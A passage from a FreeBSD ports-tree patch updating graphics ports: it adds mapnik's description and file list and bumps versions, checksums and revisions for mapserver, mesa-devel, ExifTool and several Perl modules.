(83779b7b6bdd229740b1b5e12a4a8fe27114cb7d.patch) = 698 +SHA256 (7f0daee8b37d8cf6eff32529b1762ffd5104f3f3.patch) = 2bb3ab61ed128fd5ae48e8e0943d8d0ae37b070418c21774ba987a4973f21800 +SIZE (7f0daee8b37d8cf6eff32529b1762ffd5104f3f3.patch) = 1071 diff --git a/graphics/mapnik/pkg-descr b/graphics/mapnik/pkg-descr new file mode 100644 index 00000000000..c135e17339d --- /dev/null +++ b/graphics/mapnik/pkg-descr @@ -0,0 +1,13 @@ +Mapnik is a Free Toolkit for developing mapping applications. It's +written in C++ and there are Python bindings to facilitate fast-paced +agile development. It can comfortably be used for both desktop and web +development, which was something wanted from the beginning. + +Mapnik is about making beautiful maps. It uses the AGG library and +offers world class anti-aliasing rendering with subpixel accuracy for +geographic data. It is written from scratch in modern C++ and doesn't +suffer from design decisions made a decade ago. When it comes to +handling common software tasks such as memory management, filesystem +access, regular expressions, parsing and so on, Mapnik doesn't re-invent +the wheel, but utilizes best of breed industry standard libraries from +boost.org. diff --git a/graphics/mapnik/pkg-plist b/graphics/mapnik/pkg-plist new file mode 100644 index 00000000000..ad33d31d5aa --- /dev/null +++ b/graphics/mapnik/pkg-plist @@ -0,0 +1,482 @@ +bin/mapnik-config +bin/mapnik-index +bin/mapnik-render +bin/shapeindex +bin/svg2png +include/mapnik/agg/agg_alpha_mask_u8.h +include/mapnik/agg/agg_arc.h +include/mapnik/agg/agg_array.h +include/mapnik/agg/agg_arrowhead.h +include/mapnik/agg/agg_basics.h +include/mapnik/agg/agg_bezier_arc.h +include/mapnik/agg/agg_bitset_iterator.h +include/mapnik/agg/agg_blur.h +include/mapnik/agg/agg_bounding_rect.h +include/mapnik/agg/agg_bspline.h +include/mapnik/agg/agg_clip_liang_barsky.h +include/mapnik/agg/agg_color_gray.h +include/mapnik/agg/agg_color_rgba.h +include/mapnik/agg/agg_config.h +include/mapnik/agg/agg_conv_adaptor_vcgen.h +include/mapnik/agg/agg_conv_adaptor_vpgen.h +include/mapnik/agg/agg_conv_bspline.h +include/mapnik/agg/agg_conv_clip_polygon.h +include/mapnik/agg/agg_conv_clip_polyline.h +include/mapnik/agg/agg_conv_close_polygon.h +include/mapnik/agg/agg_conv_concat.h +include/mapnik/agg/agg_conv_contour.h +include/mapnik/agg/agg_conv_curve.h +include/mapnik/agg/agg_conv_dash.h +include/mapnik/agg/agg_conv_gpc.h +include/mapnik/agg/agg_conv_marker.h +include/mapnik/agg/agg_conv_marker_adaptor.h +include/mapnik/agg/agg_conv_offset.h +include/mapnik/agg/agg_conv_segmentator.h +include/mapnik/agg/agg_conv_shorten_path.h +include/mapnik/agg/agg_conv_smooth_poly1.h +include/mapnik/agg/agg_conv_stroke.h +include/mapnik/agg/agg_conv_transform.h +include/mapnik/agg/agg_conv_unclose_polygon.h +include/mapnik/agg/agg_curves.h +include/mapnik/agg/agg_dda_line.h +include/mapnik/agg/agg_ellipse.h +include/mapnik/agg/agg_ellipse_bresenham.h +include/mapnik/agg/agg_embedded_raster_fonts.h +include/mapnik/agg/agg_font_cache_manager.h +include/mapnik/agg/agg_gamma_functions.h +include/mapnik/agg/agg_gamma_lut.h +include/mapnik/agg/agg_glyph_raster_bin.h +include/mapnik/agg/agg_gradient_lut.h +include/mapnik/agg/agg_gsv_text.h +include/mapnik/agg/agg_image_accessors.h +include/mapnik/agg/agg_image_filters.h +include/mapnik/agg/agg_line_aa_basics.h +include/mapnik/agg/agg_math.h +include/mapnik/agg/agg_math_stroke.h +include/mapnik/agg/agg_path_length.h +include/mapnik/agg/agg_path_storage.h +include/mapnik/agg/agg_path_storage_integer.h +include/mapnik/agg/agg_pattern_filters_rgba.h +include/mapnik/agg/agg_pixfmt_amask_adaptor.h +include/mapnik/agg/agg_pixfmt_base.h +include/mapnik/agg/agg_pixfmt_gray.h +include/mapnik/agg/agg_pixfmt_rgb.h +include/mapnik/agg/agg_pixfmt_rgb_packed.h +include/mapnik/agg/agg_pixfmt_rgba.h +include/mapnik/agg/agg_pixfmt_transposer.h +include/mapnik/agg/agg_rasterizer_cells_aa.h +include/mapnik/agg/agg_rasterizer_compound_aa.h +include/mapnik/agg/agg_rasterizer_outline.h +include/mapnik/agg/agg_rasterizer_outline_aa.h +include/mapnik/agg/agg_rasterizer_scanline_aa.h +include/mapnik/agg/agg_rasterizer_sl_clip.h +include/mapnik/agg/agg_renderer_base.h +include/mapnik/agg/agg_renderer_markers.h +include/mapnik/agg/agg_renderer_mclip.h +include/mapnik/agg/agg_renderer_outline_aa.h +include/mapnik/agg/agg_renderer_outline_image.h +include/mapnik/agg/agg_renderer_primitives.h +include/mapnik/agg/agg_renderer_raster_text.h +include/mapnik/agg/agg_renderer_scanline.h +include/mapnik/agg/agg_rendering_buffer.h +include/mapnik/agg/agg_rendering_buffer_dynarow.h +include/mapnik/agg/agg_rounded_rect.h +include/mapnik/agg/agg_scanline_bin.h +include/mapnik/agg/agg_scanline_boolean_algebra.h +include/mapnik/agg/agg_scanline_p.h +include/mapnik/agg/agg_scanline_storage_aa.h +include/mapnik/agg/agg_scanline_storage_bin.h +include/mapnik/agg/agg_scanline_u.h +include/mapnik/agg/agg_shorten_path.h +include/mapnik/agg/agg_simul_eq.h +include/mapnik/agg/agg_span_allocator.h +include/mapnik/agg/agg_span_converter.h +include/mapnik/agg/agg_span_gouraud.h +include/mapnik/agg/agg_span_gouraud_gray.h +include/mapnik/agg/agg_span_gouraud_rgba.h +include/mapnik/agg/agg_span_gradient.h +include/mapnik/agg/agg_span_gradient_alpha.h +include/mapnik/agg/agg_span_image_filter.h +include/mapnik/agg/agg_span_image_filter_gray.h +include/mapnik/agg/agg_span_image_filter_rgb.h +include/mapnik/agg/agg_span_image_filter_rgba.h +include/mapnik/agg/agg_span_interpolator_adaptor.h +include/mapnik/agg/agg_span_interpolator_linear.h +include/mapnik/agg/agg_span_interpolator_persp.h +include/mapnik/agg/agg_span_interpolator_trans.h +include/mapnik/agg/agg_span_pattern_gray.h +include/mapnik/agg/agg_span_pattern_rgb.h +include/mapnik/agg/agg_span_pattern_rgba.h +include/mapnik/agg/agg_span_solid.h +include/mapnik/agg/agg_span_subdiv_adaptor.h +include/mapnik/agg/agg_trans_affine.h +include/mapnik/agg/agg_trans_bilinear.h +include/mapnik/agg/agg_trans_double_path.h +include/mapnik/agg/agg_trans_lens.h +include/mapnik/agg/agg_trans_perspective.h +include/mapnik/agg/agg_trans_single_path.h +include/mapnik/agg/agg_trans_viewport.h +include/mapnik/agg/agg_trans_warp_magnifier.h +include/mapnik/agg/agg_vcgen_bspline.h +include/mapnik/agg/agg_vcgen_contour.h +include/mapnik/agg/agg_vcgen_dash.h +include/mapnik/agg/agg_vcgen_markers_term.h +include/mapnik/agg/agg_vcgen_smooth_poly1.h +include/mapnik/agg/agg_vcgen_stroke.h +include/mapnik/agg/agg_vcgen_vertex_sequence.h +include/mapnik/agg/agg_vertex_sequence.h +include/mapnik/agg/agg_vpgen_clip_polygon.h +include/mapnik/agg/agg_vpgen_clip_polyline.h +include/mapnik/agg/agg_vpgen_segmentator.h +include/mapnik/agg_helpers.hpp +include/mapnik/agg_pattern_source.hpp +include/mapnik/agg_rasterizer.hpp +include/mapnik/agg_render_marker.hpp +include/mapnik/agg_renderer.hpp +include/mapnik/attribute.hpp +include/mapnik/attribute_collector.hpp +include/mapnik/attribute_descriptor.hpp +include/mapnik/boolean.hpp +include/mapnik/box2d.hpp +include/mapnik/box2d_impl.hpp +include/mapnik/cairo/cairo_context.hpp +include/mapnik/cairo/cairo_image_util.hpp +include/mapnik/cairo/cairo_render_vector.hpp +include/mapnik/cairo/cairo_renderer.hpp +include/mapnik/cairo/render_polygon_pattern.hpp +include/mapnik/cairo_io.hpp +include/mapnik/color.hpp +include/mapnik/color_factory.hpp +include/mapnik/config.hpp +include/mapnik/config_error.hpp +include/mapnik/coord.hpp +include/mapnik/css_color_grammar.hpp +include/mapnik/css_color_grammar_impl.hpp +include/mapnik/csv/csv_grammar.hpp +include/mapnik/csv/csv_grammar_impl.hpp +include/mapnik/csv/csv_types.hpp +include/mapnik/cxx11_support.hpp +include/mapnik/datasource.hpp +include/mapnik/datasource_cache.hpp +include/mapnik/datasource_geometry_type.hpp +include/mapnik/debug.hpp +include/mapnik/ellipsoid.hpp +include/mapnik/enumeration.hpp +include/mapnik/evaluate_global_attributes.hpp +include/mapnik/expression.hpp +include/mapnik/expression_evaluator.hpp +include/mapnik/expression_grammar.hpp +include/mapnik/expression_grammar_impl.hpp +include/mapnik/expression_node.hpp +include/mapnik/expression_node_types.hpp +include/mapnik/expression_string.hpp +include/mapnik/factory.hpp +include/mapnik/feature.hpp +include/mapnik/feature_factory.hpp +include/mapnik/feature_kv_iterator.hpp +include/mapnik/feature_layer_desc.hpp +include/mapnik/feature_style_processor.hpp +include/mapnik/feature_style_processor_context.hpp +include/mapnik/feature_style_processor_impl.hpp +include/mapnik/feature_type_style.hpp +include/mapnik/featureset.hpp +include/mapnik/filter_factory.hpp +include/mapnik/filter_featureset.hpp +include/mapnik/font_engine_freetype.hpp +include/mapnik/font_set.hpp +include/mapnik/function_call.hpp +include/mapnik/geom_util.hpp +include/mapnik/geometry.hpp +include/mapnik/geometry_adapters.hpp +include/mapnik/geometry_centroid.hpp +include/mapnik/geometry_correct.hpp +include/mapnik/geometry_envelope.hpp +include/mapnik/geometry_envelope_impl.hpp +include/mapnik/geometry_fusion_adapted.hpp +include/mapnik/geometry_is_empty.hpp +include/mapnik/geometry_is_simple.hpp +include/mapnik/geometry_is_valid.hpp +include/mapnik/geometry_remove_empty.hpp +include/mapnik/geometry_reprojection.hpp +include/mapnik/geometry_reprojection_impl.hpp +include/mapnik/geometry_strategy.hpp +include/mapnik/geometry_to_path.hpp +include/mapnik/geometry_transform.hpp +include/mapnik/geometry_type.hpp +include/mapnik/geometry_types.hpp +include/mapnik/global.hpp +include/mapnik/gradient.hpp +include/mapnik/grid/grid.hpp +include/mapnik/grid/grid_pixel.hpp +include/mapnik/grid/grid_pixfmt.hpp +include/mapnik/grid/grid_rasterizer.hpp +include/mapnik/grid/grid_render_marker.hpp +include/mapnik/grid/grid_renderer.hpp +include/mapnik/grid/grid_renderer_base.hpp +include/mapnik/grid/grid_rendering_buffer.hpp +include/mapnik/grid/grid_view.hpp +include/mapnik/grid_vertex_converter.hpp +include/mapnik/group/group_layout.hpp +include/mapnik/group/group_layout_manager.hpp +include/mapnik/group/group_rule.hpp +include/mapnik/group/group_symbolizer_helper.hpp +include/mapnik/group/group_symbolizer_properties.hpp +include/mapnik/hextree.hpp +include/mapnik/hit_test_filter.hpp +include/mapnik/image.hpp +include/mapnik/image_any.hpp +include/mapnik/image_compositing.hpp +include/mapnik/image_copy.hpp +include/mapnik/image_filter.hpp +include/mapnik/image_filter_grammar.hpp +include/mapnik/image_filter_grammar_impl.hpp +include/mapnik/image_filter_types.hpp +include/mapnik/image_impl.hpp +include/mapnik/image_null.hpp +include/mapnik/image_options.hpp +include/mapnik/image_reader.hpp +include/mapnik/image_scaling.hpp +include/mapnik/image_scaling_traits.hpp +include/mapnik/image_util.hpp +include/mapnik/image_util_jpeg.hpp +include/mapnik/image_util_png.hpp +include/mapnik/image_util_tiff.hpp +include/mapnik/image_util_webp.hpp +include/mapnik/image_view.hpp +include/mapnik/image_view_any.hpp +include/mapnik/image_view_impl.hpp +include/mapnik/image_view_null.hpp +include/mapnik/jpeg_io.hpp +include/mapnik/json/attribute_value_visitor.hpp +include/mapnik/json/error_handler.hpp +include/mapnik/json/extract_bounding_box_grammar.hpp +include/mapnik/json/extract_bounding_box_grammar_impl.hpp +include/mapnik/json/feature_collection_grammar.hpp +include/mapnik/json/feature_collection_grammar_impl.hpp +include/mapnik/json/feature_generator.hpp +include/mapnik/json/feature_generator_grammar.hpp +include/mapnik/json/feature_generator_grammar_impl.hpp +include/mapnik/json/feature_grammar.hpp +include/mapnik/json/feature_grammar_impl.hpp +include/mapnik/json/feature_parser.hpp +include/mapnik/json/generic_json.hpp +include/mapnik/json/geometry_generator_grammar.hpp +include/mapnik/json/geometry_generator_grammar_impl.hpp +include/mapnik/json/geometry_grammar.hpp +include/mapnik/json/geometry_grammar_impl.hpp +include/mapnik/json/geometry_parser.hpp +include/mapnik/json/geometry_util.hpp +include/mapnik/json/positions.hpp +include/mapnik/json/positions_grammar.hpp +include/mapnik/json/positions_grammar_impl.hpp +include/mapnik/json/properties_generator_grammar.hpp +include/mapnik/json/properties_generator_grammar_impl.hpp +include/mapnik/json/stringifier.hpp +include/mapnik/json/topojson_grammar.hpp +include/mapnik/json/topojson_grammar_impl.hpp +include/mapnik/json/topojson_utils.hpp +include/mapnik/json/topology.hpp +include/mapnik/json/value_converters.hpp +include/mapnik/label_collision_detector.hpp +include/mapnik/layer.hpp +include/mapnik/load_map.hpp +include/mapnik/make_unique.hpp +include/mapnik/map.hpp +include/mapnik/mapbox/optional.hpp +include/mapnik/mapbox/recursive_wrapper.hpp +include/mapnik/mapbox/variant.hpp +include/mapnik/mapbox/variant_io.hpp +include/mapnik/mapbox/variant_visitor.hpp +include/mapnik/mapped_memory_cache.hpp +include/mapnik/marker.hpp +include/mapnik/marker_cache.hpp +include/mapnik/marker_helpers.hpp +include/mapnik/markers_placement.hpp +include/mapnik/markers_placements/basic.hpp +include/mapnik/markers_placements/interior.hpp +include/mapnik/markers_placements/line.hpp +include/mapnik/markers_placements/point.hpp +include/mapnik/markers_placements/vertext_first.hpp +include/mapnik/markers_placements/vertext_last.hpp +include/mapnik/memory_datasource.hpp +include/mapnik/memory_featureset.hpp +include/mapnik/octree.hpp +include/mapnik/offset_converter.hpp +include/mapnik/palette.hpp +include/mapnik/params.hpp +include/mapnik/params_impl.hpp +include/mapnik/parse_path.hpp +include/mapnik/parse_transform.hpp +include/mapnik/path.hpp +include/mapnik/path_expression.hpp +include/mapnik/path_expression_grammar.hpp +include/mapnik/path_expression_grammar_impl.hpp +include/mapnik/pixel_position.hpp +include/mapnik/pixel_types.hpp +include/mapnik/plugin.hpp +include/mapnik/png_io.hpp +include/mapnik/pool.hpp +include/mapnik/proj_strategy.hpp +include/mapnik/proj_transform.hpp +include/mapnik/projection.hpp +include/mapnik/ptree_helpers.hpp +include/mapnik/quad_tree.hpp +include/mapnik/query.hpp +include/mapnik/raster.hpp +include/mapnik/raster_colorizer.hpp +include/mapnik/renderer_common.hpp +include/mapnik/request.hpp +include/mapnik/rule.hpp +include/mapnik/rule_cache.hpp +include/mapnik/safe_cast.hpp +include/mapnik/save_map.hpp +include/mapnik/scale_denominator.hpp +include/mapnik/segment.hpp +include/mapnik/simplify.hpp +include/mapnik/simplify_converter.hpp +include/mapnik/span_image_filter.hpp +include/mapnik/sparsehash/dense_hash_map +include/mapnik/sparsehash/internal/densehashtable.h +include/mapnik/sparsehash/internal/hashtable-common.h +include/mapnik/sparsehash/internal/libc_allocator_with_realloc.h +include/mapnik/sparsehash/internal/sparseconfig.h +include/mapnik/sparsehash/template_util.h +include/mapnik/sparsehash/type_traits.h +include/mapnik/sql_utils.hpp +include/mapnik/sse.hpp +include/mapnik/stringify_macro.hpp +include/mapnik/svg/geometry_svg_generator.hpp +include/mapnik/svg/geometry_svg_generator_impl.hpp +include/mapnik/svg/svg_converter.hpp +include/mapnik/svg/svg_parser.hpp +include/mapnik/svg/svg_parser_exception.hpp +include/mapnik/svg/svg_path_adapter.hpp +include/mapnik/svg/svg_path_attributes.hpp +include/mapnik/svg/svg_path_commands.hpp +include/mapnik/svg/svg_path_grammar.hpp +include/mapnik/svg/svg_path_grammar_impl.hpp +include/mapnik/svg/svg_path_parser.hpp +include/mapnik/svg/svg_points_grammar.hpp +include/mapnik/svg/svg_points_grammar_impl.hpp +include/mapnik/svg/svg_renderer_agg.hpp +include/mapnik/svg/svg_storage.hpp +include/mapnik/svg/svg_transform_grammar.hpp +include/mapnik/svg/svg_transform_grammar_impl.hpp +include/mapnik/symbolizer.hpp +include/mapnik/symbolizer_base.hpp +include/mapnik/symbolizer_default_values.hpp +include/mapnik/symbolizer_dispatch.hpp +include/mapnik/symbolizer_enumerations.hpp +include/mapnik/symbolizer_hash.hpp +include/mapnik/symbolizer_keys.hpp +include/mapnik/symbolizer_utils.hpp +include/mapnik/text/evaluated_format_properties_ptr.hpp +include/mapnik/text/face.hpp +include/mapnik/text/font_feature_settings.hpp +include/mapnik/text/font_library.hpp +include/mapnik/text/formatting/base.hpp +include/mapnik/text/formatting/format.hpp +include/mapnik/text/formatting/layout.hpp +include/mapnik/text/formatting/list.hpp +include/mapnik/text/formatting/registry.hpp +include/mapnik/text/formatting/text.hpp +include/mapnik/text/glyph_info.hpp +include/mapnik/text/glyph_positions.hpp +include/mapnik/text/harfbuzz_shaper.hpp +include/mapnik/text/icu_shaper.hpp +include/mapnik/text/itemizer.hpp +include/mapnik/text/placement_finder.hpp +include/mapnik/text/placement_finder_impl.hpp +include/mapnik/text/placements/base.hpp +include/mapnik/text/placements/dummy.hpp +include/mapnik/text/placements/list.hpp +include/mapnik/text/placements/registry.hpp +include/mapnik/text/placements/simple.hpp +include/mapnik/text/properties_util.hpp +include/mapnik/text/renderer.hpp +include/mapnik/text/rotation.hpp +include/mapnik/text/scrptrun.hpp +include/mapnik/text/symbolizer_helpers.hpp +include/mapnik/text/text_layout.hpp +include/mapnik/text/text_line.hpp +include/mapnik/text/text_properties.hpp +include/mapnik/tiff_io.hpp +include/mapnik/timer.hpp +include/mapnik/tolerance_iterator.hpp +include/mapnik/transform_expression.hpp +include/mapnik/transform_expression_grammar.hpp +include/mapnik/transform_expression_grammar_impl.hpp +include/mapnik/transform_path_adapter.hpp +include/mapnik/transform_processor.hpp +include/mapnik/unicode.hpp +include/mapnik/util/char_array_buffer.hpp +include/mapnik/util/const_rendering_buffer.hpp +include/mapnik/util/container_adapter.hpp +include/mapnik/util/conversions.hpp +include/mapnik/util/dasharray_parser.hpp +include/mapnik/util/feature_to_geojson.hpp +include/mapnik/util/featureset_buffer.hpp +include/mapnik/util/file_io.hpp +include/mapnik/util/fs.hpp +include/mapnik/util/geometry_to_ds_type.hpp +include/mapnik/util/geometry_to_geojson.hpp +include/mapnik/util/geometry_to_svg.hpp +include/mapnik/util/geometry_to_wkb.hpp +include/mapnik/util/geometry_to_wkt.hpp +include/mapnik/util/hsl.hpp +include/mapnik/util/is_clockwise.hpp +include/mapnik/util/math.hpp +include/mapnik/util/name_to_int.hpp +include/mapnik/util/noncopyable.hpp +include/mapnik/util/path_iterator.hpp +include/mapnik/util/rounding_cast.hpp +include/mapnik/util/singleton.hpp +include/mapnik/util/spatial_index.hpp +include/mapnik/util/timer.hpp +include/mapnik/util/trim.hpp +include/mapnik/util/utf_conv_win.hpp +include/mapnik/util/variant.hpp +include/mapnik/util/variant_io.hpp +include/mapnik/value.hpp +include/mapnik/value_error.hpp +include/mapnik/value_hash.hpp +include/mapnik/value_types.hpp +include/mapnik/version.hpp +include/mapnik/vertex.hpp +include/mapnik/vertex_adapters.hpp +include/mapnik/vertex_cache.hpp +include/mapnik/vertex_converters.hpp +include/mapnik/vertex_processor.hpp +include/mapnik/vertex_vector.hpp +include/mapnik/view_strategy.hpp +include/mapnik/view_transform.hpp +include/mapnik/warning_ignore.hpp +include/mapnik/warning_ignore_agg.hpp +include/mapnik/warp.hpp +include/mapnik/webp_io.hpp +include/mapnik/well_known_srs.hpp +include/mapnik/wkb.hpp +include/mapnik/wkt/wkt_factory.hpp +include/mapnik/wkt/wkt_generator_grammar.hpp +include/mapnik/wkt/wkt_generator_grammar_impl.hpp +include/mapnik/wkt/wkt_grammar.hpp +include/mapnik/wkt/wkt_grammar_impl.hpp +include/mapnik/xml_attribute_cast.hpp +include/mapnik/xml_loader.hpp +include/mapnik/xml_node.hpp +include/mapnik/xml_tree.hpp +lib/libmapnik-json.a +lib/libmapnik-wkt.a +lib/libmapnik.so +lib/libmapnik.so.3.1 +lib/libmapnik.so.3.1.0 +lib/mapnik/input/csv.input +lib/mapnik/input/gdal.input +lib/mapnik/input/geojson.input +lib/mapnik/input/ogr.input +lib/mapnik/input/pgraster.input +lib/mapnik/input/postgis.input +lib/mapnik/input/raster.input +lib/mapnik/input/shape.input +lib/mapnik/input/sqlite.input +lib/mapnik/input/topojson.input diff --git a/graphics/mapserver/Makefile b/graphics/mapserver/Makefile index ccc464ed972..db1d9ebaa3a 100644 --- a/graphics/mapserver/Makefile +++ b/graphics/mapserver/Makefile @@ -1,6 +1,5 @@ PORTNAME= mapserver -PORTVERSION= 8.0.0 -PORTREVISION= 1 +PORTVERSION= 8.0.1 CATEGORIES= graphics www geography MASTER_SITES= https://download.osgeo.org/mapserver/ diff --git a/graphics/mapserver/distinfo b/graphics/mapserver/distinfo index 445593c4d8d..95fe2cd6b7e 100644 --- a/graphics/mapserver/distinfo +++ b/graphics/mapserver/distinfo @@ -1,3 +1,3 @@ -TIMESTAMP = 1678615472 -SHA256 (mapserver-8.0.0.tar.gz) = bb7ee625eb6fdce9bd9851f83664442845d70d041e449449e88ac855e97d773c -SIZE (mapserver-8.0.0.tar.gz) = 2945524 +TIMESTAMP = 1682675620 +SHA256 (mapserver-8.0.1.tar.gz) = 79d23595ef95d61d3d728ae5e60850a3dbfbf58a46953b4fdc8e6e0ffe5748ba +SIZE (mapserver-8.0.1.tar.gz) = 2950164 diff --git a/graphics/mapserver/pkg-plist b/graphics/mapserver/pkg-plist index 9bedda4a016..1951afd545b 100644 --- a/graphics/mapserver/pkg-plist +++ b/graphics/mapserver/pkg-plist @@ -10,7 +10,7 @@ bin/tile4ms %%PHP%%etc/php/ext-20-php_mapscript.ini lib/libmapserver.so lib/libmapserver.so.2 -lib/libmapserver.so.8.0.0 +lib/libmapserver.so.8.0.1 %%PHP%%lib/php/%%PHP_EXT_DIR%%/php_mapscript.so %%PYTHON%%%%PYTHON_SITELIBDIR%%/mapscript.py %%PYTHON%%%%PYTHON_SITELIBDIR%%/_mapscript.so diff --git a/graphics/meh/Makefile b/graphics/meh/Makefile index a6f72b782c8..81284602a93 100644 --- a/graphics/meh/Makefile +++ b/graphics/meh/Makefile @@ -1,6 +1,7 @@ PORTNAME= meh DISTVERSIONPREFIX= v DISTVERSION= 0.3-27 +PORTREVISION= 1 DISTVERSIONSUFFIX= -g69f653a CATEGORIES= graphics diff --git a/graphics/mesa-devel/Makefile b/graphics/mesa-devel/Makefile index 24e99b99e8a..7dd5c6d88c3 100644 --- a/graphics/mesa-devel/Makefile +++ b/graphics/mesa-devel/Makefile @@ -1,6 +1,6 @@ PORTNAME= mesa -DISTVERSION= 23.1-branchpoint-628 -DISTVERSIONSUFFIX= -g608ed04cc15 +DISTVERSION= 23.1-branchpoint-803 +DISTVERSIONSUFFIX= -g775e42e6b84 CATEGORIES= graphics PKGNAMESUFFIX= -devel @@ -175,6 +175,6 @@ post-patch-COINST-on: post-install-COINST-on: @${INSTALL_DATA} ${WRKDIR}/libmap.conf \ - ${STAGEDIR}${PREFIX}/etc/libmap.d/${PKGBASE}.conf.sample + ${STAGEDIR}${PREFIX}/etc/libmap.d/${PKGBASE}.conf .include diff --git a/graphics/mesa-devel/distinfo b/graphics/mesa-devel/distinfo index bea05f0ab05..f49916cb432 100644 --- a/graphics/mesa-devel/distinfo +++ b/graphics/mesa-devel/distinfo @@ -1,6 +1,6 @@ -TIMESTAMP = 1682553141 -SHA256 (mesa3d-mesa-23.1-branchpoint-628-g608ed04cc15_GH0.tar.gz) = a456d0457941ccb76df43f16466151f681df16ed86d3d57491a2d01a43f85a37 -SIZE (mesa3d-mesa-23.1-branchpoint-628-g608ed04cc15_GH0.tar.gz) = 29027317 +TIMESTAMP = 1682791811 +SHA256 (mesa3d-mesa-23.1-branchpoint-803-g775e42e6b84_GH0.tar.gz) = 76345373889090a1c5a66d7a2cad76bc26e72de5a23185d604898b72f979500c +SIZE (mesa3d-mesa-23.1-branchpoint-803-g775e42e6b84_GH0.tar.gz) = 29080070 SHA256 (700efacda59c.patch) = 0d567fe737ad1404e1f12d7cd018826d9095c23835f1ed5aaa1c81cb58d3d008 SIZE (700efacda59c.patch) = 983 SHA256 (3043f16d66bf.patch) = 7afdba18fc3041dc6e30bdb1409f5214e451e7e5ceaa3b21991d6b2f793d9c85 diff --git a/graphics/mesa-devel/pkg-plist b/graphics/mesa-devel/pkg-plist index 0cc426306ae..3a43b378fa2 100644 --- a/graphics/mesa-devel/pkg-plist +++ b/graphics/mesa-devel/pkg-plist @@ -1,7 +1,7 @@ %%VKLAYERS%%bin/mesa-overlay-control.py %%NO_COINST%%%%OPENCL%%etc/OpenCL/vendors/mesa.icd %%OPENCL%%etc/OpenCL/vendors/rusticl.icd -%%COINST%%@sample etc/libmap.d/mesa%%SUFFIX%%.conf.sample +%%COINST%%etc/libmap.d/mesa%%SUFFIX%%.conf %%NO_COINST%%include/EGL/eglext_angle.h %%NO_COINST%%include/EGL/eglmesaext.h %%NO_COINST%%include/GL/internal/dri_interface.h diff --git a/graphics/npretty/Makefile b/graphics/npretty/Makefile index 4d05639b4e0..f7299cfdc65 100644 --- a/graphics/npretty/Makefile +++ b/graphics/npretty/Makefile @@ -1,7 +1,7 @@ PORTNAME= npretty DISTVERSIONPREFIX= n DISTVERSION= 0.9.3-1 -PORTREVISION= 3 +PORTREVISION= 4 CATEGORIES= graphics MAINTAINER= peter@pean.org diff --git a/graphics/opendx/Makefile b/graphics/opendx/Makefile index 572a4ce77fa..835c6ba1c54 100644 --- a/graphics/opendx/Makefile +++ b/graphics/opendx/Makefile @@ -1,6 +1,6 @@ PORTNAME= opendx PORTVERSION= 4.4.4 -PORTREVISION= 36 +PORTREVISION= 37 CATEGORIES= graphics math java MASTER_SITES= http://www.sfr-fresh.com/unix/misc/ DISTNAME= dx-${PORTVERSION} diff --git a/graphics/openfx-arena/Makefile b/graphics/openfx-arena/Makefile index d4694d33a0a..4d3d9ead0d7 100644 --- a/graphics/openfx-arena/Makefile +++ b/graphics/openfx-arena/Makefile @@ -1,7 +1,7 @@ PORTNAME= openfx-arena PORTVERSION= 2.4.3 DISTVERSIONPREFIX= Natron- -PORTREVISION= 10 +PORTREVISION= 11 CATEGORIES= graphics MAINTAINER= olivier@FreeBSD.org diff --git a/graphics/optar/Makefile b/graphics/optar/Makefile index 9ab52f049a1..22977d79634 100644 --- a/graphics/optar/Makefile +++ b/graphics/optar/Makefile @@ -1,6 +1,6 @@ PORTNAME= optar PORTVERSION= 2015.02.09 -PORTREVISION= 1 +PORTREVISION= 2 CATEGORIES= graphics MASTER_SITES= http://ronja.twibright.com/ DISTNAME= ${PORTNAME} diff --git a/graphics/p5-CAD-Drawing/Makefile b/graphics/p5-CAD-Drawing/Makefile index 79d540ee26c..fb15e217792 100644 --- a/graphics/p5-CAD-Drawing/Makefile +++ b/graphics/p5-CAD-Drawing/Makefile @@ -1,6 +1,6 @@ PORTNAME= CAD-Drawing PORTVERSION= 0.26 -PORTREVISION= 10 +PORTREVISION= 11 CATEGORIES= graphics perl5 MASTER_SITES= CPAN PKGNAMEPREFIX= p5- diff --git a/graphics/p5-Image-ExifTool-devel/Makefile b/graphics/p5-Image-ExifTool-devel/Makefile index 2de9a39fbf7..06f4a4c387e 100644 --- a/graphics/p5-Image-ExifTool-devel/Makefile +++ b/graphics/p5-Image-ExifTool-devel/Makefile @@ -1,5 +1,5 @@ PORTNAME= Image-ExifTool -DISTVERSION= 12.60 +DISTVERSION= 12.61 CATEGORIES= graphics perl5 MASTER_SITES= SF/exiftool \ https://exiftool.org/ diff --git a/graphics/p5-Image-ExifTool-devel/distinfo b/graphics/p5-Image-ExifTool-devel/distinfo index 796c0a173a3..991c79635ec 100644 --- a/graphics/p5-Image-ExifTool-devel/distinfo +++ b/graphics/p5-Image-ExifTool-devel/distinfo @@ -1,3 +1,3 @@ -TIMESTAMP = 1680724803 -SHA256 (Image-ExifTool-12.60.tar.gz) = 73dbe06d004c31082a56e78d7f246f2bb0002fbb1835447bc32a2b076f3d32ad -SIZE (Image-ExifTool-12.60.tar.gz) = 5204922 +TIMESTAMP = 1682342009 +SHA256 (Image-ExifTool-12.61.tar.gz) = a7871cd083b84a53d81d29e86cb70c22a79084e11062539ebbe327f1fa67ec30 +SIZE (Image-ExifTool-12.61.tar.gz) = 5207863 diff --git a/graphics/p5-Image-Heatmap/Makefile b/graphics/p5-Image-Heatmap/Makefile index fd3bd6f1ea0..65f66bfb1b3 100644 --- a/graphics/p5-Image-Heatmap/Makefile +++ b/graphics/p5-Image-Heatmap/Makefile @@ -1,6 +1,6 @@ PORTNAME= Image-Heatmap PORTVERSION= 0.565 -PORTREVISION= 3 +PORTREVISION= 4 CATEGORIES= graphics perl5 MASTER_SITES= CPAN PKGNAMEPREFIX= p5- diff --git a/graphics/p5-Image-Magick-Iterator/Makefile b/graphics/p5-Image-Magick-Iterator/Makefile index 8566dca8146..73089bb5da1 100644 --- a/graphics/p5-Image-Magick-Iterator/Makefile +++ b/graphics/p5-Image-Magick-Iterator/Makefile @@ -1,6 +1,6 @@ PORTNAME= Image-Magick-Iterator PORTVERSION= 0.01 -PORTREVISION= 10 +PORTREVISION= 11 CATEGORIES= graphics perl5 MASTER_SITES= CPAN PKGNAMEPREFIX= p5- diff --git a/graphics/p5-Image-OCR-Tesseract/Makefile b/graphics/p5-Image-OCR-Tesseract/Makefile index f095eec5871..1fea8466a41 100644 --- a/graphics/p5-Image-OCR-Tesseract/Makefile +++ b/graphics/p5-Image-OCR-Tesseract/Makefile @@ -1,5 +1,6 @@ PORTNAME= Image-OCR-Tesseract PORTVERSION= 1.26 +PORTREVISION= 1 CATEGORIES= graphics perl5 MASTER_SITES= CPAN MASTER_SITE_SUBDIR= CPAN:LEOCHARRE diff --git 